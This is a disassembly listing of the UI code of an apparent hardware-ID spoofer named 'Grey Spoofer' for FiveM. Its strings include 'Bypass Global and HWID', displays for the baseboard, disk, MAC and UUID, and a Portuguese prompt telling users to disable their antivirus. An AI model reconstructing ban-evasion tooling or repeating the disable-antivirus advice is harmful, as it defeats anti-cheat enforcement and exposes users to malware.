mov rax, qword [rcx + 0x4038]
cmp qword [rax + 0x1b8], r13
jne 0x14005ae59
cmp qword [rcx + 0x4dd8], r13
lea rcx, [rax + 0x260]
je 0x14005ae60
lea rcx, [rax + 0x230]
movss xmm1, dword [rcx]
lea r9, str.Bypass_Global_and_HWID
subss xmm1, dword [rax + 0x28]
mov rcx, qword [0x14031da08]
lea r8, str.Fivem
movaps xmm0, xmm14
mov dword [rsp + 0x38], r13d
cmp edx, 2
unpcklps xmm0, xmm14
movsd qword [rsp + 0x30], xmm0
subss xmm1, dword [r14 + 0x38f8]
sete dl
unpcklps xmm1, xmm6
movsd qword [rsp + 0x28], xmm1
call fcn.14002e080
test al, al
je 0x14005aebf
mov edx, 2
mov dword [0x14031e0fc], edx
jmp 0x14005aec5
mov edx, dword [0x14031e0fc]
mov rcx, qword [0x14031d9b0]
mov rax, qword [rcx + 0x4038]
cmp qword [rax + 0x1b8], r13
jne 0x14005aeec
cmp qword [rcx + 0x4dd8], r13
lea rcx, [rax + 0x260]
je 0x14005aef3
lea rcx, [rax + 0x230]
movss xmm1, dword [rcx]
lea r9, str.Bypass_Global_and_HWID
subss xmm1, dword [rax + 0x28]
mov rcx, qword [0x14031da08]
lea r8, str.One_Click_Fivem
movaps xmm0, xmm14
mov dword [rsp + 0x38], r12d
cmp edx, 3
unpcklps xmm0, xmm14
movsd qword [rsp + 0x30], xmm0
subss xmm1, dword [r14 + 0x38f8]
sete dl
unpcklps xmm1, xmm6
movsd qword [rsp + 0x28], xmm1
call fcn.14002e080
test al, al
je 0x14005af4f
mov dword [0x14031e0fc], 3
call fcn.14002dd60
mov r8, qword [0x14031d9b0]
lea rcx, [rbp + 0x250]
mov rax, qword [r8 + 0x4038]
mov byte [rax + 0xc0], r12b
movss xmm1, dword [0x14031e18c]
movss xmm0, dword [0x14031e188]
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 0x254], xmm1
movss xmm1, dword [0x14031e194]
mulss xmm1, dword [r8 + 0x38f0]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp + 0x250], xmm0
movss xmm0, dword [0x14031e190]
movss dword [rbp + 0x25c], xmm1
movss dword [rbp + 0x258], xmm0
call fcn.140005350
movss xmm7, dword [0x140102e58]
lea r14, str.Grey_Spoofer
movss xmm2, dword [r8 + 0x3d60]
lea rdx, [rbp + 0x1d0]
mov rcx, qword [r8 + 0x3d58]
movaps xmm3, xmm7
mov qword [rsp + 0x30], r13
mov esi, eax
mov qword [rsp + 0x28], r14
movss dword [rsp + 0x20], xmm11
call fcn.14002c3f0
movss xmm0, dword [rbp + 0x1d0]
movss xmm6, dword [rbp + 0x24]
addss xmm0, xmm10
movss xmm8, dword [rbp + 0x20]
cvttss2si eax, xmm0
movss xmm0, dword [0x14031cc60]
movaps xmm2, xmm0
mulss xmm2, xmm12
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x1d0], xmm1
subss xmm2, xmm1
addss xmm2, xmm0
movaps xmm0, xmm6
addss xmm0, dword [0x140102df0]
mulss xmm2, xmm12
movss dword [rbp + 0x1dc], xmm0
addss xmm2, xmm8
movss dword [rbp + 0x1d8], xmm2
test esi, 0xff000000
je 0x14005b10b
mov rax, qword [rbx + 0x38]
mov rdi, qword [rax + 8]
movss xmm7, dword [rax + 0x10]
mov rax, qword [rbx + 0x98]
mov rcx, qword [rdi + 0x40]
cmp qword [rcx + 8], rax
je 0x14005b0b9
mov r8d, 0x678
lea rdx, str.C:UsersonwDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREYimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], r13b
lea rax, [0x1401011b4]
movss dword [rsp + 0x40], xmm13
lea r9, [rbp + 0x1d8]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm7
lea rax, [rbp - 0x80]
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rax
mov rdx, rbx
mov rcx, rdi
mov dword [rsp + 0x20], esi
movups xmmword [rbp - 0x80], xmm0
call fcn.14002c610
movss xmm7, dword [0x140102e58]
mov r8, qword [0x14031d9b0]
lea rcx, [rbp + 0x260]
mov rax, qword [r8 + 0x4038]
mov byte [rax + 0xc0], r12b
movss xmm1, dword [0x14031e18c]
movss xmm0, dword [0x14031e188]
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 0x264], xmm1
movss xmm1, dword [0x14031e194]
mulss xmm1, dword [r8 + 0x38f0]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp + 0x260], xmm0
movss xmm0, dword [0x14031e190]
movss dword [rbp + 0x26c], xmm1
movss dword [rbp + 0x268], xmm0
call fcn.140005350
movss xmm2, dword [r8 + 0x3d60]
lea r14, str.Antes__Desative_seu_Anti_Virus
mov rcx, qword [r8 + 0x3d58]
lea rdx, [rbp + 0x200]
mov qword [rsp + 0x30], r13
movaps xmm3, xmm7
mov qword [rsp + 0x28], r14
mov esi, eax
movss dword [rsp + 0x20], xmm11
call fcn.14002c3f0
movss xmm0, dword [rbp + 0x200]
movss xmm2, dword [0x14031cc60]
addss xmm0, xmm10
addss xmm6, dword [0x140102dfc]
cvttss2si eax, xmm0
movss dword [rbp + 0x20c], xmm6
movaps xmm0, xmm2
mulss xmm0, xmm12
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x200], xmm1
subss xmm0, xmm1
addss xmm0, xmm2
mulss xmm0, xmm12
addss xmm0, xmm8
movss dword [rbp + 0x208], xmm0
test esi, 0xff000000
je 0x14005b2ac
mov rax, qword [rbx + 0x38]
mov rdi, qword [rax + 8]
movss xmm6, dword [rax + 0x10]
mov rax, qword [rbx + 0x98]
mov rcx, qword [rdi + 0x40]
cmp qword [rcx + 8], rax
je 0x14005b25a
mov r8d, 0x678
lea rdx, str.C:UsersonwDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREYimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], r13b
lea rax, [0x1401011d6]
movss dword [rsp + 0x40], xmm13
lea r9, [rbp + 0x208]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm6
lea rax, [rbp - 0x80]
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rax
mov rdx, rbx
mov rcx, rdi
mov dword [rsp + 0x20], esi
movups xmmword [rbp - 0x80], xmm0
call fcn.14002c610
movss xmm2, dword [0x14031cc60]
mov rcx, qword [0x14031d9b0]
lea r8, [rbp + 0xd0]
movaps xmm0, xmm2
mov dword [rbp + 0xd0], r13d
mulss xmm0, xmm12
lea rdx, [rbp + 0xd8]
xor r9d, r9d
mov dword [rbp + 0xd4], 0x41700000
mov rax, qword [rcx + 0x4038]
mov dword [rbp + 0xd8], 0x438c0000
addss xmm0, dword [0x140102e2c]
mov dword [rbp + 0xdc], 0x437a0000
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
lea rcx, str.Container2
mulss xmm0, xmm12
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x90]
subss xmm2, xmm0
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
mov byte [rax + 0x151], r12b
addss xmm1, dword [0x140102e0c]
addss xmm2, xmm0
movss dword [rax + 0x114], xmm1
movss dword [rax + 0x110], xmm2
call fcn.14002d870
mov qword [rsp + 0x38], r13
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x30], r13
lea r8, [0x14031d9c8]
mov dword [rsp + 0x28], 0x8000
lea rdx, [0x1401011e8]
mov r9d, 0x32
mov qword [rsp + 0x20], rax
lea rcx, [0x1401011ec]
mov dword [rbp + 0xe0], 0x438c0000
mov dword [rbp + 0xe4], 0x42200000
call fcn.14003a600
lea rdx, [0x14031da3f]
lea rcx, str.Remember_me
call fcn.1400304c0
lea rdx, [rbp + 0xe8]
mov dword [rbp + 0xe8], 0x438c0000
lea rcx, str.ENTRAR
mov dword [rbp + 0xec], 0x42200000
call fcn.14002eb80
test al, al
je 0x14005b3f7
mov dword [0x14031d9c4], r12d
mov rcx, qword [0x14031d9b0]
lea rdx, [rbp + 0xf0]
mov qword [rsp + 0x30], r13
movaps xmm3, xmm7
mov rax, qword [rcx + 0x4038]
movss xmm2, dword [rcx + 0x3d60]
mov rcx, qword [rcx + 0x3d58]
movss xmm6, dword [rax + 0x110]
subss xmm6, dword [rax + 0x28]
addss xmm6, dword [rax + 0x8c]
lea rax, str.Algum_Probema__discord.gg_greyfivem
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm11
call fcn.14002c3f0
movss xmm0, dword [rbp + 0xf0]
mov rcx, qword [0x14031d9b0]
addss xmm0, xmm10
cvttss2si eax, xmm0
movss xmm0, dword [0x140102e28]
movd xmm1, eax
mov rax, qword [rcx + 0x4038]
cvtdq2ps xmm1, xmm1
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
subss xmm0, xmm1
movss dword [rbp + 0xf0], xmm1
movss xmm2, dword [rax + 0x28]
subss xmm2, dword [rax + 0x8c]
mov byte [rax + 0x151], r12b
mulss xmm0, xmm12
addss xmm0, xmm6
addss xmm2, xmm0
movss dword [rax + 0x110], xmm2
movss xmm1, dword [0x14031e16c]
movss xmm0, dword [0x14031e168]
movss dword [rbp + 0x274], xmm1
movss xmm1, dword [0x14031e174]
mulss xmm1, dword [rcx + 0x38f0]
lea rcx, [rbp + 0x270]
movss dword [rbp + 0x270], xmm0
movss xmm0, dword [0x14031e170]
movss dword [rbp + 0x27c], xmm1
movss dword [rbp + 0x278], xmm0
call fcn.140005350
movss xmm6, dword [0x140102cdc]
lea rdx, str._Algum_Probema_
xorps xmm3, xmm3
movzx ecx, al
xorps xmm0, xmm0
xorps xmm1, xmm1
xorps xmm2, xmm2
cvtsi2ss xmm3, rcx
mov ecx, eax
shr ecx, 8
movzx ecx, cl
mulss xmm3, xmm6
cvtsi2ss xmm0, rcx
mov ecx, eax
shr eax, 0x18
shr ecx, 0x10
movzx ecx, cl
shufps xmm3, xmm3, 0xe1
cvtsi2ss xmm2, rax
cvtsi2ss xmm1, rcx
lea rcx, [rbp - 0x80]
mulss xmm0, xmm6
mulss xmm1, xmm6
movss xmm3, xmm0
mulss xmm2, xmm6
shufps xmm3, xmm3, 0xc6
movss xmm3, xmm1
shufps xmm3, xmm3, 0x27
movss xmm3, xmm2
shufps xmm3, xmm3, 0x39
movups xmmword [rbp - 0x80], xmm3
movups xmmword [rbp - 0x80], xmm3
call fcn.140036700
movss xmm1, dword [0x140102d8c]
movaps xmm0, xmm13
call fcn.140017540
movss xmm4, dword [0x14031e188]
mov rax, qword [0x14031d9b0]
lea rcx, [rbp + 0x290]
movss xmm1, dword [0x14031e194]
movss xmm5, dword [0x14031e18c]
movss xmm0, dword [0x14031e190]
mulss xmm1, dword [rax + 0x38f0]
movss dword [rbp + 0x290], xmm4
movss dword [rbp + 0x294], xmm5
movss dword [rbp + 0x29c], xmm1
movss dword [rbp + 0x298], xmm0
call fcn.140005350
xorps xmm3, xmm3
movzx ecx, al
xorps xmm0, xmm0
lea rdx, str.discord.gg_greyfivem
xorps xmm1, xmm1
xorps xmm2, xmm2
cvtsi2ss xmm3, rcx
mov ecx, eax
shr ecx, 8
movzx ecx, cl
mulss xmm3, xmm6
cvtsi2ss xmm0, rcx
mov ecx, eax
shr eax, 0x18
shr ecx, 0x10
movzx ecx, cl
shufps xmm3, xmm3, 0xe1
cvtsi2ss xmm2, rax
cvtsi2ss xmm1, rcx
lea rcx, [rbp - 0x80]
mulss xmm0, xmm6
mulss xmm1, xmm6
movss xmm3, xmm0
mulss xmm2, xmm6
shufps xmm3, xmm3, 0xc6
movss xmm3, xmm1
shufps xmm3, xmm3, 0x27
movss xmm3, xmm2
shufps xmm3, xmm3, 0x39
movups xmmword [rbp - 0x80], xmm3
movups xmmword [rbp - 0x80], xmm3
call fcn.140036700
call fcn.14002dd60
movss xmm8, dword [0x140102e30]
mov ecx, r12d
call fcn.140005a10
mov rcx, qword [0x14031d9b0]
lea rdx, [rbp + 0x1a0]
movss xmm2, dword [0x14031cc60]
subss xmm2, dword [0x140102de8]
mov dword [rbp + 0x1a0], 0x42480000
mov rax, qword [rcx + 0x4038]
mov dword [rbp + 0x1a4], 0x42480000
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
movss xmm0, dword [rax + 0x28]
movss xmm1, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x8c]
subss xmm1, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm2, xmm0
addss xmm1, xmm13
movss dword [rax + 0x110], xmm2
movss dword [rax + 0x114], xmm1
call fcn.14002f280
test al, al
je 0x14005b734
mov rcx, qword [0x14031da00]
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xor ecx, ecx
call qword [sym.imp.USER32.dll_PostQuitMessage]
movss xmm1, dword [0x14031e18c]
lea rcx, [rbp - 0x60]
movss xmm0, dword [0x14031e188]
mov rax, qword [0x14031d9b0]
movss dword [rbp - 0x5c], xmm1
movss dword [rbp - 0x60], xmm0
movss xmm0, dword [0x14031e190]
movss xmm1, dword [rax + 0x38f0]
mulss xmm1, dword [0x140102cfc]
movss dword [rbp - 0x58], xmm0
mulss xmm1, dword [0x14031e194]
movss dword [rbp - 0x54], xmm1
call fcn.140005350
mov ecx, eax
call fcn.1400562b0
mov rcx, qword [0x14031d9b0]
lea rdx, [rbp - 0x80]
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x8c]
mov byte [rax + 0x151], r12b
addss xmm0, xmm13
addss xmm1, xmm13
movss dword [rax + 0x114], xmm0
movsd xmm0, qword [0x14031cc60]
movsd qword [rbp - 0x80], xmm0
movss dword [rax + 0x110], xmm1
call fcn.140036f50
mov rax, qword [0x14031d9b0]
mov ecx, dword [rax + 0x409c]
test ecx, ecx
je 0x14005b8a4
cmp ecx, dword [rax + 0x49a8]
jne 0x14005b8a4
mov rcx, qword [0x14031da00]
lea rdx, [0x14031da28]
call qword [sym.imp.USER32.dll_GetWindowRect]
cvttss2si edi, dword [0x14031cc64]
lea rcx, [rbp + 0x340]
cvttss2si esi, dword [0x14031cc60]
movaps xmm2, xmm11
call fcn.1400147f0
movd xmm0, dword [0x14031da2c]
lea rcx, [rbp + 0x358]
cvtdq2ps xmm0, xmm0
movaps xmm2, xmm11
addss xmm0, dword [rax + 4]
cvttss2si ebx, xmm0
call fcn.1400147f0
mov r9d, esi
mov rcx, qword [0x14031da00]
mov r8d, ebx
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], edi
movd xmm0, dword [0x14031da28]
cvtdq2ps xmm0, xmm0
addss xmm0, dword [rax]
cvttss2si edx, xmm0
call qword [sym.imp.USER32.dll_MoveWindow]
call fcn.1400126d0
call fcn.14000c530
mov rcx, qword [0x14031e098]
xor r8d, r8d
mov rax, qword [rcx]
lea edx, [r8 + 7]
call qword [rax + 0x1c8]
mov rcx, qword [0x14031e098]
xor r8d, r8d
mov rax, qword [rcx]
lea edx, [r8 + 0x1b]
call qword [rax + 0x1c8]
mov rcx, qword [0x14031e098]
xor r8d, r8d
mov edx, 0xae
mov rax, qword [rcx]
call qword [rax + 0x1c8]
mov rcx, qword [0x14031e098]
mov r9d, 3
movss xmm7, dword [0x140102d4c]
xor r8d, r8d
mov dword [rsp + 0x30], r13d
xor edx, edx
movss dword [rsp + 0x28], xmm7
mov rax, qword [rcx]
mov dword [rsp + 0x20], 0xff728c99
call qword [rax + 0x158]
mov rcx, qword [0x14031e098]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x14005b99d
call fcn.14000c530
mov rbx, qword [0x14031d9b0]
cmp dword [rbx + 0x4af8], r13d
jg 0x14005b96d
mov r8d, 0x766
lea rdx, [0x1400f0e30]
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x4b00]
mov rcx, qword [rax]
mov rax, r13
add rcx, 0x48
cmp byte [rcx], r13b
cmovne rax, rcx
mov rcx, rax
call fcn.14003df30
mov rcx, qword [0x14031e098]
mov rax, qword [rcx]
call qword [rax + 0x150]
mov rcx, qword [0x14031e098]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], r13
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x88]
cmp eax, 0x88760868
jne 0x14005a830
mov rcx, qword [0x14031e098]
mov rax, qword [rcx]
call qword [rax + 0x18]
cmp eax, 0x88760869
jne 0x14005a830
call fcn.14003e7d0
mov rcx, qword [0x14031e098]
lea rdx, [0x14031e0a0]
mov rax, qword [rcx]
call qword [rax + 0x80]
cmp eax, 0x8876086c
jne 0x14005ba1a
mov r8d, 0x816
lea rdx, [0x140101ec0]
lea rcx, [0x1400f1020]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x14031d9b0]
test rax, rax
je 0x14005a830
mov rcx, qword [rax + 0x98]
test rcx, rcx
je 0x14005a830
cmp qword [rcx], r13
je 0x14005a830
call fcn.14003e560
jmp 0x14005a830
lea eax, [rcx - 1]
cmp eax, r12d
ja 0x14005d140
mov r8, qword [0x14031d9b0]
lea rcx, [rbp + 0x280]
movss xmm8, dword [rbp + 0x24]
movss xmm7, dword [rbp + 0x20]
movaps xmm6, xmm8
addss xmm6, dword [0x140102de8]
mov rax, qword [r8 + 0x4038]
mov byte [rax + 0xc0], r12b
movss xmm0, dword [0x14031e1d0]
movss xmm1, dword [0x14031e1d4]
movss dword [rbp + 0x280], xmm0
movss xmm0, dword [0x14031e1d8]
movss dword [rbp + 0x288], xmm0
movss xmm0, dword [0x14031cc60]
movss dword [rbp + 0x284], xmm1
addss xmm0, xmm7
movss xmm1, dword [0x14031e1dc]
mulss xmm1, dword [r8 + 0x38f0]
movss dword [rbp + 0xfc], xmm6
movss dword [rbp + 0xf8], xmm0
movss dword [rbp + 0x28c], xmm1
call fcn.140005350
mov rcx, qword [r8 + 0x4038]
lea rdx, [rbp + 0x20]
movss xmm0, dword [0x140102e68]
lea r8, [rbp + 0xf8]
mov r9d, eax
mov dword [rsp + 0x28], r13d
movss dword [rsp + 0x20], xmm0
mov rcx, qword [rcx + 0x2a8]
call fcn.140025da0
mov r8, qword [0x14031d9b0]
lea rcx, [rbp + 0x2a0]
movss xmm2, dword [0x14031cc64]
addss xmm2, xmm8
movss dword [rbp + 0x10c], xmm6
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 0x104], xmm2
mov byte [rax + 0xc0], r12b
movss xmm0, dword [0x14031e1d0]
movss xmm1, dword [0x14031e1d4]
movss dword [rbp + 0x2a0], xmm0
movss xmm0, dword [0x14031e1d8]
movss dword [rbp + 0x2a8], xmm0
movaps xmm0, xmm7
addss xmm0, dword [0x140102e00]
movss dword [rbp + 0x2a4], xmm1
movss xmm1, dword [0x14031e1dc]
mulss xmm1, dword [r8 + 0x38f0]
movss dword [rbp + 0x100], xmm0
movaps xmm0, xmm7
addss xmm0, xmm13
movss dword [rbp + 0x2ac], xmm1
movss dword [rbp + 0x108], xmm0
call fcn.140005350
mov rcx, qword [r8 + 0x4038]
lea rdx, [rbp + 0x108]
movss xmm0, dword [0x140102e68]
lea r8, [rbp + 0x100]
mov r9d, eax
mov dword [rsp + 0x28], r13d
movss dword [rsp + 0x20], xmm0
mov rcx, qword [rcx + 0x2a8]
call fcn.140025da0
mov r8, qword [0x14031d9b0]
lea rcx, [rbp + 0x210]
mov rax, qword [r8 + 0x4038]
mov byte [rax + 0xc0], r12b
movss xmm1, dword [0x14031e18c]
movss xmm0, dword [0x14031e188]
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 0x214], xmm1
movss xmm1, dword [0x14031e194]
mulss xmm1, dword [r8 + 0x38f0]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp + 0x210], xmm0
movss xmm0, dword [0x14031e190]
movss dword [rbp + 0x21c], xmm1
movss dword [rbp + 0x218], xmm0
call fcn.140005350
mov esi, eax
movss xmm3, dword [0x140102e58]
lea rax, str.Grey_Spoofer
movss xmm2, dword [r8 + 0x3d60]
lea rdx, [rbp + 0xc0]
mov rcx, qword [r8 + 0x3d58]
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm11
call fcn.14002c3f0
movss xmm0, dword [rbp + 0xc0]
movss xmm2, dword [0x14031cc60]
addss xmm0, xmm10
addss xmm2, dword [0x140102de8]
cvttss2si eax, xmm0
movss xmm0, dword [0x140102de4]
subss xmm0, dword [rbp + 0xc4]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm0, xmm12
movss dword [rbp + 0xc0], xmm1
subss xmm2, xmm1
addss xmm0, xmm8
mulss xmm2, xmm12
movss dword [rbp + 0x114], xmm0
addss xmm2, xmm7
movss dword [rbp + 0x110], xmm2
test esi, 0xff000000
je 0x14005bdbd
mov rax, qword [rbx + 0x38]
mov rdi, qword [rax + 8]
movss xmm6, dword [rax + 0x10]
mov rax, qword [rbx + 0x98]
mov rcx, qword [rdi + 0x40]
cmp qword [rcx + 8], rax
je 0x14005bd6c
mov r8d, 0x678
lea rdx, str.C:UsersonwDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREYimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], r13b
lea rax, [0x1401011b4]
movss dword [rsp + 0x40], xmm13
lea r9, [rbp + 0x110]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm6
lea rax, str.Grey_Spoofer
mov rdx, rbx
mov qword [rsp + 0x30], rax
mov rcx, rdi
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
movups xmmword [rbp - 0x80], xmm0
call fcn.14002c610
mov rcx, qword [0x14031d9b0]
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x8c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm1, xmm15
addss xmm0, dword [0x140102e10]
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm0
call fcn.140017790
cmp dword [0x14031d9c4], r12d
lea r8, [rbp + 0x118]
lea rdx, [0x140101258]
mov dword [rbp + 0x118], 0x42700000
sete cl
mov dword [rbp + 0x11c], 0x42700000
call fcn.14002f7a0
test al, al
je 0x14005be5c
mov eax, r12d
mov dword [0x14031d9c4], eax
jmp 0x14005be62
mov eax, dword [0x14031d9c4]
cmp eax, 2
mov dword [rbp + 0x120], 0x42700000
lea r8, [rbp + 0x120]
mov dword [rbp + 0x124], 0x42700000
sete cl
lea rdx, [0x14010125c]
call fcn.14002f7a0
test al, al
je 0x14005bea0
mov edx, 2
mov dword [0x14031d9c4], edx
jmp 0x14005bea6
mov edx, dword [0x14031d9c4]
mov rcx, qword [0x14031d9b0]
lea r8, [rbp + 0x128]
test edx, edx
mov dword [rbp + 0x128], 0x42700000
lea rdx, [0x140101260]
mov dword [rbp + 0x12c], 0x42700000
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
sete cl
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm0, dword [0x140102e34]
movss dword [rax + 0x114], xmm0
call fcn.14002f7a0
test al, al
je 0x14005bf1d
mov dword [0x14031d9c4], r13d
call fcn.1400178f0
mov rcx, qword [0x14031d9b0]
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x8c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm1, dword [0x140102e04]
addss xmm0, dword [0x140102df4]
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm0
mov eax, dword [0x14031e11c]
cmp eax, r12d
jne 0x14005d0d0
movss xmm0, dword [0x14031cc60]
lea r8, [rbp + 0x130]
movss xmm6, dword [0x140102e14]
lea rdx, [rbp + 0x138]
movss xmm8, dword [0x140102df8]
subss xmm0, xmm6
movzx r9d, r12b
mov dword [rbp + 0x130], 0x41900000
lea rcx, str.Container1
mov dword [rbp + 0x134], 0x41900000
mulss xmm0, xmm12
movss dword [rbp + 0x138], xmm0
movss xmm0, dword [0x14031cc64]
subss xmm0, xmm8
movss dword [rbp + 0x13c], xmm0
call fcn.14002d870
mov rax, qword gs:[0x58]
mov ebx, 0x10
mov rdi, qword [rax]
mov eax, dword [rbx + rdi]
cmp dword [0x14031e3a8], eax
jle 0x14005c054
lea rcx, [0x14031e3a8]
call fcn.1400cf68c
cmp dword [0x14031e3a8], 0xffffffff
jne 0x14005c054
lea rcx, [0x14031e2b0]
call fcn.140060e60
lea rcx, [0x1400d3ba0]
call fcn.1400cf968
lea rcx, [0x14031e3a8]
call fcn.1400cf620
cmp byte [0x14031e118], r13b
je 0x14005c06b
lea rcx, [0x14031e2b0]
call fcn.140031120
jmp 0x14005c072
lea rax, [0x1400f154a]
mov rdx, rax
lea rcx, [0x140101264]
call fcn.140030140
call fcn.14002fff0
mov eax, dword [rbx + rdi]
cmp dword [0x14031e2e0], eax
jle 0x14005c0ca
lea rcx, [0x14031e2e0]
call fcn.1400cf68c
cmp dword [0x14031e2e0], 0xffffffff
jne 0x14005c0ca
lea rcx, [0x14031e290]
call fcn.140060e60
lea rcx, [0x1400d3b30]
call fcn.1400cf968
lea rcx, [0x14031e2e0]
call fcn.1400cf620
cmp byte [0x14031e120], r13b
je 0x14005c0e1
lea rcx, [0x14031e290]
call fcn.140031120
jmp 0x14005c0e8
lea rax, [0x1400f154a]
mov rdx, rax
lea rcx, str.Baseboard:
call fcn.140030140
call fcn.14002fff0
mov eax, dword [rbx + rdi]
cmp dword [0x14031e338], eax
jle 0x14005c140
lea rcx, [0x14031e338]
call fcn.1400cf68c
cmp dword [0x14031e338], 0xffffffff
jne 0x14005c140
lea rcx, [0x14031e308]
call fcn.140060e60
lea rcx, [0x1400d3ac0]
call fcn.1400cf968
lea rcx, [0x14031e338]
call fcn.1400cf620
cmp byte [0x14031e108], r13b
je 0x14005c157
lea rcx, [0x14031e308]
call fcn.140031120
jmp 0x14005c15e
lea rax, [0x1400f154a]
mov rdx, rax
lea rcx, str.Disk_C:
call fcn.140030140
call fcn.14002fff0
mov eax, dword [rbx + rdi]
cmp dword [0x14031e384], eax
jle 0x14005c1b6
lea rcx, [0x14031e384]
call fcn.1400cf68c
cmp dword [0x14031e384], 0xffffffff
jne 0x14005c1b6
lea rcx, [0x14031e3b0]
call fcn.140060e60
lea rcx, [0x1400d3a50]
call fcn.1400cf968
lea rcx, [0x14031e384]
call fcn.1400cf620
cmp byte [0x14031e119], r13b
je 0x14005c1cd
lea rcx, [0x14031e3b0]
call fcn.140031120
jmp 0x14005c1d4
lea rax, [0x1400f154a]
mov rdx, rax
lea rcx, str.Disk_D:
call fcn.140030140
call fcn.14002fff0
mov eax, dword [rbx + rdi]
cmp dword [0x14031e380], eax
jle 0x14005c22c
lea rcx, [0x14031e380]
call fcn.1400cf68c
cmp dword [0x14031e380], 0xffffffff
jne 0x14005c22c
lea rcx, [0x14031e2e8]
call fcn.140060e60
lea rcx, [0x1400d39e0]
call fcn.1400cf968
lea rcx, [0x14031e380]
call fcn.1400cf620
cmp byte [0x14031e0f8], r13b
je 0x14005c243
lea rcx, [0x14031e2e8]
call fcn.140031120
jmp 0x14005c24a
lea rax, [0x1400f154a]
mov rdx, rax
lea rcx, str.MAC:
call fcn.140030140
call fcn.14002fff0
mov eax, dword [rbx + rdi]
cmp dword [0x14031e2d4], eax
jle 0x14005c2a2
lea rcx, [0x14031e2d4]
call fcn.1400cf68c
cmp dword [0x14031e2d4], 0xffffffff
jne 0x14005c2a2
lea rcx, [0x14031e340]
call fcn.140060e60
lea rcx, [0x1400d3970]
call fcn.1400cf968
lea rcx, [0x14031e2d4]
call fcn.1400cf620
cmp byte [0x14031e109], r13b
je 0x14005c2b9
lea rcx, [0x14031e340]
call fcn.140031120
jmp 0x14005c2c0
lea rax, [0x1400f154a]
mov rdx, rax
lea rcx, str.UUID:
call fcn.140030140
mov rcx, qword [0x14031d9b0]
mov rax, qword [rcx + 0x4038]
movss xmm1, dword [rax + 0x114]
subss xmm1, dword [rax + 0x2c]
addss xmm1, dword [rax + 0x90]
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
addss xmm1, dword [0x140102dac]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm0, xmm1
movss dword [rax + 0x114], xmm0
mov rax, qword [rcx + 0x4038]
cmp qword [rax + 0x1b8], r13
jne 0x14005c348
cmp qword [rcx + 0x4dd8], r13
lea rcx, [rax + 0x260]
je 0x14005c34f
